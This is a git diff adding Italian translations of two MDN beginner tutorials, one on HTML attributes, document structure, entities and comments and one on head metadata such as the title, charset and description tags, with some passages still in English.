+  textarea<span class="punctuation token">.</span>selectionEnd <span class="operator token">=</span> caretPos<span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  textarea<span class="punctuation token">.</span>scrollTop <span class="operator token">=</span> scrollPos<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Update the saved userCode every time the user updates the text area code</span>
+
+textarea<span class="punctuation token">.</span>onkeyup <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span>
+  <span class="comment token">// We only want to save the state when the user code is being shown,</span>
+  <span class="comment token">// not the solution, so that solution is not saved over the user code</span>
+  <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    solutionEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code2', 700, 300) }}</p>
+
+<h3 id="Attributi_booleani">Attributi booleani</h3>
+
+<p>A volte potrai trovare degli attributi senza alcun valore — questo è consentito. Questo tipo di attributi, sono chiamati attributi booleani, e possono avere un unico valore, che solitamente è  uguale al nome dell'attributo stesso. Ad esempio, analizziamo l'attributo {{htmlattrxref("disabled","input")}} che può essere assegnato agli elementi input dei moduli (form) per disabilitarli (renderli grigi) e fare in modo che non possa essere introdotto alcun dato.</p>
+
+<pre class="brush: html">&lt;input type="text" disabled="disabled"&gt;</pre>
+
+<p>Per brevità, è permesso scriverli come nell'esempio qui sotto (abbiamo incluso anche un campo non disabilitato per confronto, per darti un assaggio di cosa verrà).</p>
+
+<pre class="brush: html">&lt;input type="text" disabled&gt;
+
+&lt;input type="text"&gt;
+</pre>
+
+<p>Entrambi ti mostreranno il seguente output:</p>
+
+<p>{{ EmbedLiveSample('Attributi_booleani', 700, 100) }}</p>
+
+<h3 id="Omettere_le_virgolette_attorno_al_valore_degli_attributi">Omettere le virgolette attorno al valore degli attributi</h3>
+
+<p>Quando navighi il world wild web, potrai trovare i più strani stili di mark up, inclusi i valori degli attributi senza virgolette: ciò è permesso in alcune circostanze, ma negli altri casi creerà problemi al tuo markup. Per esempio, se riprendiamo il precedente esempio del link, possiamo scriverne una versione base con solo l'attributo href, come qui:</p>
+
+<pre>&lt;a href=<code>https://www.mozilla.org/</code>&gt;favourite website&lt;/a&gt;</pre>
+
+<p>Tuttavia, appena aggiungeremo l'attributo <code>title</code>, le cose smetteranno di funzionare</p>
+
+<pre class="brush: html">&lt;a href=<code>https://www.mozilla.org/</code> title=The Mozilla homepage&gt;favourite website&lt;/a&gt;</pre>
+
+<p>A questo punto il browser, fraintenderà il tuo markup, interpretando l'attributo <code>title</code> come tre attributi distinti — un attributo title con valore "The" e due attributi booleani <code>Mozilla</code> e <code>homepage</code>. Non è ovviamente ciò che si intendeva e provocherà errori o comportamenti inaspettati, come nell'esempio live sottostante. Prova a posizionare il mouse sopra il link per vedere qual é il title.</p>
+
+<p>{{ EmbedLiveSample('Omettere_le_virgolette_attorno_al_valore_degli_attributi', 700, 100) }}</p>
+
+<p>Il nostro consiglio è di mettere sempre le virgolette — Si evitano questi problemi e si ottiene anche un codice più leggibile.</p>
+
+<h3 id="Virgolette_singole_o_doppie">Virgolette singole o doppie?</h3>
+
+<p>In questo articolo noterai che sono state usate le doppie virgolette. Potrai tuttavia trovare le virgolette singole in qualche documento HTML. Si tratta esclusivamente di una questione di stile e sei libero di scegliere quelle che preferisci. Le due linee seguenti sono equivalenti.</p>
+
+<pre class="brush: html">&lt;a href="http://www.example.com"&gt;A link to my example.&lt;/a&gt;
+
+&lt;a href='http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>Devi però assicurarti di non mescolarle. L'esempio seguente non funzionerà.</p>
+
+<pre class="brush: html">&lt;a href="http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>Se hai usato un tipo di virgolette nel tuo HTML, puoi usare l'altro tipo nel valore dell'attributo senza nessun problema:</p>
+
+<pre class="brush: html">&lt;a href="http://www.example.com" title="Isn't this fun?"&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>Se vuoi annidare lo stesso tipo di virgolette, dovrai usare {{anch("Entity references: including special characters in HTML")}}.</p>
+
+<h2 id="Anatomia_di_un_documento_HTML"><a id="Anatomia di un documento HTML" name="Anatomia di un documento HTML">Anatomia di un documento HTML</a></h2>
+
+<p>That wraps up the basics of individual HTML elements, but they aren't very useful on their own. Adesso vedremo come gli elementi sono combinati per formare una intera pagina HTML.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;My test page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;This is my page&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Qui abbiamo:</p>
+
+<ol>
+ <li><code>&lt;!DOCTYPE html&gt;</code>: La doctype. Nella notte dei tempi, quando l'HTML era appena nato (about 1991/2), doctypeserano utilizzate per collegare set of rules che la pagina HTML doveva rispettare per essere considerata un buon documento HTML, il che significava determinare automaticamente gli errori e altre cose utili. In genere erano qualcosa tipo questo:
+
+  <pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</pre>
+  Tuttavia oggi, a nessuno interessa di loro e sono solo un residuo storico che deve essere incluso per far si che tutto  funzioni. <code>&lt;!DOCTYPE html&gt;</code> è la più corta stringa di caratteri che rappresenta una doctype valida; è tutto ciò che serve sapere.</li>
+ <li><code>&lt;html&gt;&lt;/html&gt;</code>: The <code>&lt;html&gt;</code> element. Questo elemento racchiude tutta la pagina e vi si può riferire come "root", elemento radice.</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code>: The <code>&lt;head&gt;</code> element. Questo elemento serve da contenitore per tutta una serie di cose da includere nel documento HTML che non sono "contenuto" da far visualizzare ai visitatori della tua pagina. Sono incluse cose come le parole chiave e la descrizione della pagina, che vuoi appaia nei risultati dei motori di ricerca, dichiarazioni CSS per formattare il contenuto, dichiarazioni dei set di caratteri e altro. Imparerai di più riguardo a questo nel prossimo articolo della serie.</li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code>: Questo elemento imposta il set di caratteri che il tuo documento dovrebbe usare a utf-8, che include la maggior parte dei caratteri di tutti gli alfabeti umani conosciuti. Sostanzialmente può trattare qualsiasi tipo di testo tu voglia introdurre. non c'è ragione per non usare questo set di caratteri e può evitare problemi in seguito.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code>: Questo imposta il titolo della tua pagina, cioè il titolo che appare nella scheda del browser quando la pagina viene caricata e che viene usato per descrivere la pagina quando la salvi tra i preferiti (bookmark).</li>
+ <li><code>&lt;body&gt;&lt;/body&gt;</code>: The <code>&lt;body&gt;</code> element. Questo elemento contiene tutto ciò che vuoi mostrare agli utenti del web che visitano la pagina, sia che si tratti di testo, sia di immagini o video, giochi, tracce audio o qualsiasi altra cosa.</li>
+</ol>
+
+<h3 id="Active_learning_Aggiungere_alcune_caratteristiche_ad_un_documento_HTML">Active learning: Aggiungere alcune caratteristiche ad un documento HTML</h3>
+
+<p>If you want to experiment with writing some HTML on your local computer, you can: Se vuoi esercitarti a scrivere un po' di HTML sul tuo computer, puoi:</p>
+
+<ol>
+ <li>Copiare il codice HTML della pagina di eempio qui sopra</li>
+ <li>creare un nuovo file nel tuo editor di testo</li>
+ <li>incollare il codice nel tuo nuovo file</li>
+ <li>salvare il file col nome <code>index.html</code></li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: Trovi questo modello di base anche nel <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">MDN Learning Area Github repo</a>.</p>
+</div>
+
+<p>Adesso puoi aprire il file nel tuo browser e vedere come appare il codice, poi puoi modificare il codice e ricaricare la pagina per vedere i risultati. Inizialmente dovrebbe apparire più o meno così:</p>
+
+<p><img alt="A simple HTML page that says This is my page" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">Così, in questo esercizio, puoi modificare il codice localmente sul tuo computer come mostrato sopra, o puoi modificare l'esempio sotto (l'esempio modificabile rappresenta solo l'elemento <code>&lt;body&gt;</code>). Ci piacerebbe che tentassi di realizzare questi passi:</p>
+
+<ul>
+ <li>appena sotto l'apertura dell'elemento <code>&lt;body&gt;</code>, aggiungi un titolo principale per il documento; dovrebbe essere racchiuso tra il tag <code>&lt;h1&gt;</code> e il corrispondente tag di chiusura <code>&lt;/h1&gt;</code>.</li>
+ <li>Modifica il paragrafo del contenuto per aggiungere del testo che parla di qualcosa a cui sei interessato.</li>
+ <li>Metti in risalto tutte le parole importanti racchiudendole tra i tag <code>&lt;strong&gt;</code> e <code>&lt;/strong&gt;</code> per chiudere l'elemento.</li>
+ <li>Aggiungi un link nel paragrafo, come <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Active_learning_Adding_attributes_to_an_element">spiegato precedentemente</a>.</li>
+ <li>Aggiungi un'immagine al tuo documento, sotto il paragrafo, come <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Empty_elements">spiegato precedentemente nell'articolo. </a>Avrai dei punti bonus se riesci a lincare un'immagine diversa (una nel tuo computer o una altrove nel web).</li>
+</ul>
+
+<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
+
+<div class="hidden">
+<h6 id="Playable_code3">Playable code3</h6>
+
+<pre class="brush: html">&lt;h2&gt;Input&lt;/h2&gt;
+&lt;textarea id="code" class="input"&gt;
+&amp;lt;p&amp;gt;This is my page&amp;lt;/p&amp;gt;&lt;/textarea&gt;
+&lt;h2&gt;Output&lt;/h2&gt;
+&lt;div class="output"&gt;&lt;/div&gt;
+&lt;div class="controls"&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+  &lt;input id="solution" type="button" value="Show solution" /&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">body {
+  font-family: 'Open Sans Light',Helvetica,Arial,sans-serif;
+}
+
+.input, .output {
+  width: 90%;
+  height: 10em;
+  padding: 10px;
+  border: 1px solid #0095dd;
+}
+
+img {
+  max-width: 100%;
+}
+
+.output {
+  overflow: auto;
+}
+
+button {
+  padding: 10px 10px 10px 0;
+}
+</pre>
+
+<pre class="brush: js">var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var code = textarea.value;
+var output = document.querySelector(".output");
+var solution = document.getElementById("solution");
+
+function drawOutput() {
+  output.innerHTML = textarea.value;
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawOutput();
+});
+
+solution.addEventListener("click", function() {
+  textarea.value = '&lt;p&gt;I really enjoy &lt;strong&gt;playing the drums&lt;/strong&gt;. One of my favourite drummers is Neal Peart, who\
+ plays in the band &lt;a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article"&gt;Rush&lt;/a&gt;.\
+ My favourite Rush album is currently &lt;a href="http://www.deezer.com/album/942295"&gt;Moving Pictures&lt;/a&gt;.&lt;/p&gt;\
+&lt;img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg"&gt;';
+  drawOutput();
+});
+
+textarea.addEventListener("input", drawOutput);
+window.addEventListener("load", drawOutput);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code3', 700, 600) }}</p>
+
+<h3 id="Spazio_bianco_nell'HTML">Spazio bianco nell'HTML</h3>
+
+<p>Nei precedenti esempi potresti aver notato che molto spazio bianco (vuoto) è incluso nel listato del codice - ciò non è affatto necessario; i due seguenti estratti sono equivalenti:</p>
+
+<pre class="brush: html">&lt;p&gt;Dogs are silly.&lt;/p&gt;
+
+&lt;p&gt;Dogs        are
+         silly.&lt;/p&gt;</pre>
+
+<p>Non importa quanti spazi usi (includendo sia il carattere spaziatura che le interruzioni di linea), il decodificatore (parser) HTML li riduce tutti ad un unico spazio quando restituisce la pagina. Quindi perché usare così tanti spazi? La risposta é per ottenere leggibilità; è molto più semplice capire cosa fa il tuo codice se lo hai formattato ordinatamente e non solo raggruppato insieme in un grande caos. Nel nostro HTML abbiamo fatto rientrare di due spazi, rispetto all'elemento contenitore, tutti gli elementi annidati. Dipende da te quale stile di formattazione usare (per esempio quanti spazi utilizzare per ogni livello di indentazione), ma devi usare qualche tipo di formattazione.</p>
+
+<h2 id="Elenco_di_riferimento_delle_entità_includere_caratteri_speciali_nell'HTML">Elenco di riferimento delle entità: includere caratteri speciali nell'HTML</h2>
+
+<p>In HTML, i caratteri <code>&lt;</code>, <code>&gt;</code>,<code>"</code>,<code>'</code> e <code>&amp;</code> sono caratteri speciali. Sono anche parti della sintassi dell'HTML, quindi si pone il problema di come poterli includere nel proprio testo, per indicare ad esempio un "minore di", senza che venga interpretato dal parser come codice, cosa che alcuni browser potrebbero fare.</p>
+
+<p>Dobbiamo usare speciali codici che rappresentano quei caratteri e che possono quindi essere usati in quelle circostanze. Ognuno di questi codici (character reference) inizia con un ampersand (&amp;) e finisce con un punto e virgola (;).</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Literal character</th>
+   <th scope="col">Character reference equivalent</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>&lt;</td>
+   <td>&amp;lt;</td>
+  </tr>
+  <tr>
+   <td>&gt;</td>
+   <td>&amp;gt;</td>
+  </tr>
+  <tr>
+   <td>"</td>
+   <td>&amp;quot;</td>
+  </tr>
+  <tr>
+   <td>'</td>
+   <td>&amp;apos;</td>
+  </tr>
+  <tr>
+   <td>&amp;</td>
+   <td>&amp;amp;</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Nell'esempio sotto, puoi vedere 2 paragrafi che parlano di tecnologie web:</p>
+
+<pre class="brush: html">&lt;p&gt;In HTML, you define a paragraph using the &lt;p&gt; element.&lt;/p&gt;
+
+&lt;p&gt;In HTML, you define a paragraph using the &amp;lt;p&amp;gt; element.&lt;/p&gt;</pre>
+
+<p>Nel campo di output istantaneo sotto, puoi vedere che il primo paragrafo è sbagliato, perché il browser pensa che il secondo tag p (&lt;p&gt;) sia l'inizio di un nuovo paragrafo. Il secondo paragrafo funziona perché abbiamo sostituito le parentesi angolate con le entità (character references).</p>
+
+<p>{{ EmbedLiveSample('Elenco_di_riferimento_delle_entità_includere_caratteri_speciali_nell\'HTML', 700, 200) }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Una tabella di riferimento di tutte le entità disponibili nel linguaggio HTML si trova su Wikipedia: <a class="external text" href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" rel="nofollow">List of XML and HTML character entity references</a>.</p>
+</div>
+
+<h2 id="Commenti_HTML">Commenti HTML</h2>
+
+<p>In HTML, come in molti linguaggi di programmazione, c'è la possibilità di aggiungere dei "commenti" al codice, che sono ignorati dal browser e sono pertanto invisibili per gli utenti; il loro scopo è di includere nel documento spiegazioni sul funzionamento del codice, su cosa fanno le differenti parti di codice, ecc. Tutto ciò può essere molto utile se ritorni sul codice sei mesi dopo che ci avevi lavorato e non puoi ricordare cosa avevi fatto, o se passi a qualcun'altro il tuo codice perché ci lavori.</p>
+
+<p>Per far si che una parte del contenuto del documento HTML sia un commento, devi includerlo tra speciali segni, che sono  <code>&lt;!--</code> and <code>--&gt;</code>. Avrai per esempio:</p>
+
+<pre class="brush: html">&lt;p&gt;I'm not inside a comment&lt;/p&gt;
+
+&lt;!-- &lt;p&gt;I am!&lt;/p&gt; --&gt;</pre>
+
+<p>Come puoi vedere qui sotto, il primo paragrafo appare nell'output , mentre il secondo no.</p>
+
+<p>{{ EmbedLiveSample('Commenti_HTML', 700, 100) }}</p>
+
+<h2 id="Riepilogo">Riepilogo</h2>
+
+<p>Hai raggiunto la fine dell'articolo; spero tu abbia gradito questo tour fra le più elementari regole dell'HTML. A questo punto dovresti capire come appare il linguaggio, come funziona ad un livello base e dovresti essere in grado di scrivere alcuni elementi ed attributi. Questo è il punto perfetto a cui essere adesso, perché nei seguenti articoli della serie rivedremo nei dettagli alcune delle cose già viste e introdurremo alcune nuove caratteristiche del linguaggio. Stay tuned! (Resta sintonizzato!)</p>
+
+<div class="note">
+<p><strong>Note</strong>: A questo punto, poiché inizi a saperne di più di  HTML, potresti anche voler iniziare ad esplorare i Cascading Style Sheets, o <a href="/en-US/docs/Learn/CSS">CSS</a>, che é il linguaggio usato per dare stile e abbellire le pagine web (per esempio cambiare il colore dei font o alterare il layout della pagina). HTML e CSS sono fatti per operare insieme, come presto scoprirai.</p>
+</div>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
diff --git a/files/it/learn/html/introduction_to_html/i_metadata_nella_head_in_html/index.html b/files/it/learn/html/introduction_to_html/i_metadata_nella_head_in_html/index.html
new file mode 100644
index 0000000000..de092cd8b9
--- /dev/null
+++ b/files/it/learn/html/introduction_to_html/i_metadata_nella_head_in_html/index.html
@@ -0,0 +1,265 @@
+---
+title: Cosa c'è nella head? Metadata in HTML
+slug: Learn/HTML/Introduction_to_HTML/I_metadata_nella_head_in_HTML
+tags:
+  - Guida
+  - HTML
+  - Principiante
+  - favicon
+  - head
+  - lang
+  - metadata
+translation_of: Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Getting_started", "Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">La {{glossary("Head", "head")}} di un documento HTML è la parte che non viene visualizzata nel browser quando la pagina viene caricata. Contiene informazioni come il {{htmlelement("title")}}, della pagina, i link ai {{glossary("CSS")}} (se vuoi applicare uno stile al contenuto tramite i CSS), i link alle favicons personalizzate, e altri metadata (dati relativi all'HTML, come chi lo ha scritto, o importanti parole chiave che descrivono il documento). In questo articolo vedremo tutto ciò e anche altro, per darti una buona base del markup e di altro codice che dovrebbe trovarsi nella head.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Familiarità con le basi di HTML, spiegate in <a href="/it/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Cominciare con l'HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obbiettivi:</th>
+   <td>Conoscere la head dell'HTML, qual è il suo scopo, i più importanti elementi che può contenere e quale effetto può avere sul documento HTML.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Cosa_è_la_head">Cosa è la head?</h2>
+
+<p>Riprendiamo il semplice esempio di documento HTML che abbiamo visto nell'articolo precedente.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;My test page&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;p&gt;This is my page&lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>La head HTML è il contenuto dell'elemento {{htmlelement("head")}} — diversamente dal contenuto dell'elemento {{htmlelement("body")}} (che è visualizzato quando la pagina viene caricata dal browser), il contenuto della head non viene visualizzato nella pagina. Invece, il compito della head è di contenere dei {{glossary("Metadata", "metadata")}} relativi al documento. Nell'esempio precedente, la head è piuttosto ridotta:</p>
+
+<pre class="brush: html">&lt;head&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;title&gt;My test page&lt;/title&gt;
+&lt;/head&gt;</pre>
+
+<p>In pagine più corpose tuttavia, la head può diventare piuttosto piena di elementi — prova ad andare in qualcuno dei tuoi siti favoriti e usando i <a href="/en-US/docs/Learn/Discover_browser_developer_tools">developer tools</a> esamina il contenuto della loro head. Il nostro scopo qui, non è di mostrarti l'uso di qualsiasi cosa sia possibile mettere nella head, ma piuttosto di insegnarti come usare le cose più ovvie da mettere nella head e fare in modo che tu abbia un po' di familiarità con quelle. Andiamo a cominciare.</p>
+
+<h2 id="Aggiungere_un_title">Aggiungere un <code>title</code></h2>
+
+<p>Abbiamo già visto l'elemento {{htmlelement("title")}} in azione — può essere usato per aggiungere un titolo ad un documento. Ciò può confondere conl'elemento {{htmlelement("h1")}} che è usato per aggiungere l'intestazione principale al contenuto del body — a cui ci si riferisce lo stesso come al titolo della pagina; ma sono due cose differenti!</p>
+
+<ul>
+ <li>L'elemento {{htmlelement("h1")}} appare nella pagina quando è caricata dal browser — in generale dovrebbe essere usato una sola volta per ogni pagina, per contrassegnare il titolo del contenuto della pagina (il titolo della storia, o l'intestazione delle notizie o qualsiasi cosa sia appropriata al tuo scopo).</li>
+ <li>L'elemento {{htmlelement("title")}} è il metadata che rappresenta il titolo di tutto il documento HTML (non solo del contenuto del documento).</li>
+</ul>
+
+<h3 id="Active_learning_esaminare_un_sempice_esempio.">Active learning: esaminare un sempice esempio.</h3>
+
+<ol>
+ <li>Per avviare questo active learning, ci piacerebbe che andassi al nostro repositori Github e scaricassi una copia della nostra pagina <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html</a>. Per farlo puoi usare uno dei due modi seguenti:
+
+  <ol>
+   <li>copiare ed incollare il codice della pagina in un nuovo file di testo creato col tuo editor e salvarlo in un posto adatto;</li>
+   <li>Premere il tasto "Raw" nella pagina, scegliere <em>File &gt; Save Page As...</em> nel menù del browser e scegliere un posto in cui salvarlo.</li>
+  </ol>
+ </li>
+ <li>Adesso apri il file nel browser. Dovresti vedere questo:
+  <p><img alt="A simple web page with the title set to &lt;title> element, and the &lt;h1> set to &lt;h1> element." src="https://mdn.mozillademos.org/files/12323/title-example.png" style="display: block; margin: 0 auto;">Adesso dovrebbe essere chiaro dove appare il contenuto dell'elemento <code>&lt;h1&gt;</code> e dove appare il contenutodell'elemento <code>&lt;title&gt;</code>!</p>
+ </li>
+ <li>Dovresti anche provare as aprire il codice nell'editor, modificare il contenuto di questi elementi, ricaricare la pagina nel browser. Adesso puoi divertiti un po'!</li>
+</ol>
+
+<p>Il contenuto dell'elemento <code>&lt;title&gt;</code> è anche usato in altri modi. Per esempio, se provi a salvare  la pagina nei preferiti (<em>Bookmarks &gt; Bookmark This Page</em>, in Firefox), vedrai il contenuto del <code>&lt;title&gt;</code> come nome suggerito per il segnalibro.</p>
+
+<p><img alt="A webpage being bookmarked in firefox; the bookmark name has been automatically filled in with the contents of the &lt;title> element " src="https://mdn.mozillademos.org/files/12337/bookmark-example.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Il <code>&lt;title&gt;</code> è usato anche nelle ricerche, come vedrai più avanti.</p>
+
+<h2 id="Metadata_lelemento_&lt;meta>">Metadata: l'elemento &lt;meta&gt;</h2>
+
+<p>I metadati sono dati che descrivono altri dati. In HTML c'è un modo "ufficiale" per aggiungere metadata al documento: l'elemento {{htmlelement("meta")}}. Inoltre, le altre cose di cui parliamo in questo articolo possono essere pensate anch'esse come metadata. Ci sono molti tipi di elementi <code>&lt;meta&gt;</code> che possono essere inseriti nella &lt;head&gt; del documento, ma non vogliamo cercare di parlare di tutti adesso, perché renderebbe tutto troppo complicato. Invece, spiegheremo poche cose che potrai vedere più spesso, solo per darti un'idea.</p>
+
+<h3 id="Specificare_la_codifica_dei_caratteri_del_documento">Specificare la codifica dei caratteri del documento</h3>
+
+<p>Nell'esempio che abbiamo visto, c'era questa riga:</p>
+
+<pre class="brush: html">&lt;meta charset="utf-8"&gt;</pre>
+
+<p>Questo elemento specifica semplicemente la codifica dei caratteri del documento: il set di caratteri che il documento può usare.  <code>utf-8</code> è un set di caratteri universale, che include pressoché ogni carattere di ogni linguaggio umano. Ciò significa che la tua pagina web potrà mostrare qualsiasi lingua; pertanto è una buona cosa usare questo set di caratteri per ogni pagina che crei! Per esempio, la tua pagina potrebbe tranquillamente gestire sia l'inglese che il giapponese:</p>
+
+<p><img alt="a web page containing English and Japanese characters, with the character encoding set to universal, or utf-8. Both languages display fine," src="https://mdn.mozillademos.org/files/12343/correct-encoding.png" style="display: block; margin: 0 auto;">Se imposti il set di caratteri <code>ISO-8859-1</code>, per esempio (il set di caratteri per l'alfabeto latino), il rendering della pagina potrebbe essere scombinato:</p>
+
+<p><img alt="a web page containing English and Japanese characters, with the character encoding set to latin. The Japanese characters don't display correctly" src="https://mdn.mozillademos.org/files/12341/bad-encoding.png" style="display: block; height: 365px; margin: 0px auto; width: 604px;"></p>
+
+<h3 id="Active_learning_esercitarsi_con_la_codifica_dei_caratteri">Active learning: esercitarsi con la codifica dei caratteri</h3>
+
+<p>Per questa prova, riprendi il modello di HTML che hai scaricato durante la precedente sezione riguardante l'elemento <code>&lt;title&gt;</code> (il <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/the-html-head/title-example.html">title-example.html</a>), prova a cambiare il set dei caratteri (il valore di charset) a <code>ISO-8859-1</code> e aggiungi del giapponese alla pagina; questo è il codice che abbiamo usato:</p>
+
+<pre class="brush: html">&lt;p&gt;Japanese example: ご飯が熱い。&lt;/p&gt;</pre>
+
+<h3 id="Aggiungere_lautore_e_la_descrizione">Aggiungere l'autore e la descrizione</h3>
+
+<p>Molti <code>elementi &lt;meta&gt;</code> includono gli attributi <code>name</code> e <code>content</code> :</p>
+
+<ul>
+ <li><code>name</code> specifica di che tipo di elemento meta si tratta; che tipo di informazioni contiene.</li>
+ <li><code>content</code> specifica il reale contenuto dell'elemento meta.</li>
+</ul>
+
+<p>Due degli elementi meta che è utile inserire nella pagina definiscono l'autore della pagina e una concisa descrizione della stessa. Vediamo un esempio:</p>
+
+<pre class="brush: html">&lt;meta name="author" content="Chris Mills"&gt;
+&lt;meta name="description" content="The MDN Learning Area aims to provide
+complete beginners to the Web with all they need to know to get
+started with developing web sites and applications."&gt;</pre>
+
+<p>Specificare un autore è utile per ricavare chi ha scritto la pagina: nel caso li si voglia contattare per chiarimenti riguardo al contenuto. Alcuni Content Management Systems (CMS) hanno dei meccanismi per estrarre automaticamente le informazioni sull'autore e renderle disponibili per questo scopo.</p>
+
+<p>Specificare una descrizione che includa parole chiave relative al contenuto della pagina è utile perché può far apparire la pagina più avanti nei risultati delle ricerche fatte con i motori di ricerca (questo è un tema trattato in <a href="/en-US/docs/Glossary/SEO">Search Engine Optimization</a>, o {{glossary("SEO")}}.)</p>
+
+<h3 id="Active_learning_Luso_della_descrizione_nei_motori_di_ricerca">Active learning: L'uso della descrizione nei motori di ricerca</h3>
+
+<p>La descrizione è usata anche per la generazione delle pagine dei risultati della ricerca. Facciamo un esercizio per capire meglio.</p>
+
+<ol>
+ <li>Vai alla prima pagina di <a href="https://developer.mozilla.org/en-US/">The Mozilla Developer Network</a>.</li>
+ <li>Guarda il sorgente della pagina (Right/<kbd>Ctrl</kbd> + click sulla pagina, nel menù contestuale scegli <em>View Page Source</em>/Visualizza sorgente pagina).</li>
+ <li>Trova il meta tag description. Sarà così:
+  <pre class="brush: html">&lt;meta name="description" content="The Mozilla Developer Network (MDN) provides
+information about Open Web technologies including HTML, CSS, and APIs for both
+Web sites and HTML5 Apps. It also documents Mozilla products, like Firefox OS."&gt;</pre>
+ </li>
+ <li>Adesso cerca "Mozilla Developer Network" con il tuo motore di ricerca preferito (We used Yahoo.) Vedrai il contenuto dell'elemento <code>&lt;meta&gt;</code> description e il contenuto dell'elemento <code>&lt;title&gt;</code> usati nei risultati della ricerca. — Vale decisamente la pena averli!
+  <p><img alt='A Yahoo search result for "Mozilla Developer Network"' src="https://mdn.mozillademos.org/files/12347/search-result.png" style="display: block; margin: 0 auto;"></p>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: In Google, vedrai alcune altre pagine rilevanti del sito MDN elencate sotto il link alla homepage MDN — sono chiamati sitelinks e sono configurabili negli strumenti di Google per webmasters (<a href="http://www.google.com/webmasters/tools/">Google's webmaster tools</a>) — un modo per migliorare i risultati del tuo sito nelle ricerche fatte col motore di ricerca di Google.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Molte proprietà <code>&lt;meta&gt;</code> non sono più usate. Per esempio, l'elemento <code>&lt;meta&gt;</code> keyword  — che si supponeva dover essere usato per fornire ai motori di ricerca termini per rendere la pagina rilevante per le ricerche di quei termini — è ignorato dai motori di ricerca perché gli spammers lo riempivano di centinaia di parole chiave, pregiudicando i risultati della ricerca.</p>
+</div>
+
+<h3 id="Altri_tipi_di_metadata">Altri tipi di metadata</h3>
+
+<p>Setacciando il Web, troverai altri tipi di metadata. Molte delle proprietà che vedrai nei siti web sono creazioni proprietarie (coperte da Copyright), progettate per dotare alcuni siti (tipo i social network) di particolari informazioni che loro possono usare.</p>
+
